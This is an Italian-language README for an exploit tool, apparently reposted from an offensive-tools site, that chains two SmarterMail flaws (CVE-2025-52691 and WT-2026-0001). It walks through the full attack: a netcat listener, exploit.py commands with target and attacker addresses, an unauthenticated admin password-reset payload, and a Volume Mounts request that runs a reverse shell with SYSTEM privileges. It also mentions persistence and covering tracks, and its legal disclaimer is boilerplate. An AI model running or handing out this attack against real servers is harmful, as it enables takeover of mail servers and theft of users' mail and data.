CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit

🚨 AVVISO IMPORTANTE

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi!

• L'uso non autorizzato è illegale e non etico
• Utilizzare solo su sistemi con esplicita autorizzazione
• Utilizzo a proprio rischio
• Gli utenti sono responsabili del rispetto di tutte le leggi applicabili

📋 Panoramica

Questo exploit combina due vulnerabilità critiche in SmarterMail:

1. CVE-2025-52691: Esecuzione di codice remoto pre-autenticazione tramite caricamento di file
   • Punteggio CVSS: 10.0 (Critico)
   • Versioni affette: Build 9406 e precedenti, Build 16.3.6989.16341 e precedenti
   • Versioni corrette: Build 9413 e successive

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

2. WT-2026-0001: Bypass di autenticazione tramite ripristino password
   • CVE-ID non assegnato
   • Versioni affette: Fino alla Build 9510
   • Versioni corrette: Build 9511 (15 gennaio 2026)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

Vettore d'attacco

L'exploit esegue un attacco in 3 fasi:

1. Fase 1: Bypass di autenticazione tramite WT-2026-0001

   • Cambia la password dell'amministratore senza verifica della vecchia password

2. Fase 2: Login amministratore con la nuova password

   • Autenticazione all'interfaccia web di SmarterMail

3. Fase 3: RCE tramite la funzionalità Volume Mounts

   • Crea un Volume Mount con comando di reverse shell
   • Esegue comandi del sistema operativo con privilegi SYSTEM

Prerequisiti

Requisiti di sistema

• Python 3.6+
• Netcat (nc)
• curl
• Linux/macOS/Windows (WSL)

Istruzioni di installazione

# Installare Python 3 (se non disponibile)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# Installare netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

Installare le dipendenze

# Dipendenze Python (se necessario)
pip3 install requests

Avvio rapido

Metodo 1: Configurazione automatica (Consigliato)

# Rendi eseguibile
chmod +x run_exploit.sh

# Configurazione automatica
./run_exploit.sh --auto

# Oppure configurazione interattiva
./run_exploit.sh

Metodo 2: Esecuzione diretta

# Imposta il listener (in un terminale)
nc -lvnp 4444

# Esegui l'exploit (in un secondo terminale)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Metodo 3: Con tutte le opzioni

python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

Istruzioni dettagliate

Passo 1: Preparazione

1. Identificazione del target

   root@kitploit:~

   # Controlla l'host di destinazione
   curl -I http://192.168.1.100:9998
   
   # Identifica la versione di SmarterMail
   # (Di solito nella pagina di login o negli header HTTP)
   

2. Impostazione del listener

   root@kitploit:~

   # Nel Terminale 1: Avvia il listener
   nc -lvnp 4444
   
   # Il listener deve essere in esecuzione prima di eseguire l'exploit
   

3. Validazione della rete

   root@kitploit:~

   # Assicurati che la connessione tra attaccante e target sia possibile
   ping 192.168.1.100
   nc -zv 192.168.1.100 9998
   

Passo 2: Esecuzione dell'exploit

# Con lo script runner (consigliato)
./run_exploit.sh

# Oppure direttamente con Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Passo 3: Dopo l'exploit

1. Connessione alla shell

   root@kitploit:~

   # Nel terminale del listener, dovrebbe apparire una connessione
   # Dovresti avere una shell SYSTEM
   

2. Verifica l'accesso

   root@kitploit:~

   # Nella shell ottenuta
   whoami
   hostname
   ipconfig /all  # Windows
   ifconfig       # Linux
   

3. Accesso persistente

   root@kitploit:~

   # Opzionale: Imposta la persistenza
   # Windows: Installa come servizio
   # Linux: Cron job o servizio systemd
   

🔧 Opzioni di configurazione

Parametri di Exploit.py

Parametri di Run_Exploit.sh

Esempi

Esempio 1: Utilizzo base

# Terminale 1: Avvia il listener
nc -lvnp 4444

# Terminale 2: Esegui l'exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Esempio 2: Con credenziali personalizzate

python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

Esempio 3: Modalità debug

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

Esempio 4: Configurazione automatica

./run_exploit.sh --auto

Dettagli tecnici

Fase 1: Bypass di autenticazione

Endpoint: POST /api/v1/auth/force-reset-password

Payload:

{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

Risposta di successo:

{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

Fase 2: Login amministratore

Endpoint: POST /api/v1/auth/login

Payload:

{
  "username": "admin",
  "password": "NewPassword123!@#"
}

Fase 3: RCE tramite Volume Mounts

Endpoint: POST /api/v1/settings/volume-mounts

Payload:

{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

Risoluzione dei problemi

Problemi comuni

1. Porta bloccata

# Errore: "Connection refused"
# Soluzione: Controlla il firewall e apri la porta
sudo ufw allow 9998

2. Listener non raggiungibile

# Errore: "Connection failed"
# Soluzione: Controlla la configurazione del listener
nc -lvnp 4444

3. Autenticazione fallita

# Errore: "Login failed"
# Soluzione: Controlla la versione del target (deve essere vulnerabile)

5. RCE fallita

# Errore: "Volume mount creation failed"
# Soluzione: Controlla i privilegi amministrativi, sistema target

Modalità debug

Abilita la modalità debug per output dettagliato:

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

⚠️ Note sulla sicurezza

Aspetti legali

• Eseguire solo test autorizzati
• Ottenere autorizzazione scritta
• Garantire la conformità alle leggi locali
• Nessun test su sistemi di produzione

Precauzioni di sicurezza

1. Ambiente di test: Testare sempre in ambienti controllati
2. Validazione del target: Assicurarsi che il target sia un sistema di test
3. Isolamento di rete: Separare i sistemi di test dalla rete di produzione
4. Documentazione: Documentare tutti i test
5. Pulizia: Rimuovere tutte le tracce dopo il test

Uso responsabile

• Non causare danni
• Non rubare o manipolare dati
• Non disabilitare sistemi
• Essere trasparenti con le parti responsabili

Aggiornamenti e manutenzione

Note sulle versioni

• v1.0: Versione iniziale con funzionalità complete
• Aggiornamenti futuri: Miglioramenti alla gestione degli errori e alla stabilità

🙏 Ringraziamenti

• watchTowr Labs per la ricerca originale
• Community di ricerca sulla sicurezza per il supporto
• Tutti coloro che hanno contribuito ai miglioramenti

⚠️ Ricorda: Da grandi poteri derivano grandi responsabilità!